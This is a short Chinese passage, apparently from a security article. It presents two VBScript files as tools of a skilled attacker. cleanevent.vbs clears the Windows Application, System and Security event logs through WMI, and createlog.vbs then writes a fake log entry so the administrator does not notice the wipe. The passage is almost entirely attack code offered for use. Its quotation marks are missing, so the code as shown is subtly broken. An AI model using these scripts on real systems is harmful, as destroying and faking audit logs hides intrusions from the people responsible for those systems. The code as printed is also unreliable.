当然,达人级的攻击者还会利用VBS脚本来达到目的,代码如下:
cleanevent.vbs
strComputer = .
Set objWMIService = GetObject(winmgmts: _
{impersonationLevel=impersonate,(Backup)}!\\ _
strComputer \root\cimv2)
dim mylogs(3)
mylogs(1)=application
mylogs(2)=system
mylogs(3)=security
for Each logs in mylogs
Set colLogFiles = objWMIService.ExecQuery _
(Select * from Win32_NTEventLogFile where LogFileName=’logs’)
For Each objLogfile in colLogFiles
objLogFile.ClearEventLog()
Next
next
然后他要做的是重新建立假的日志(要是日志突然什么都没有了,再笨的管理员也知道发生什么了),一样使用VBS脚本:
createlog.vbs
set ws=wscript.createobject(Wscript.shell)
ws.logevent 0 ,write log success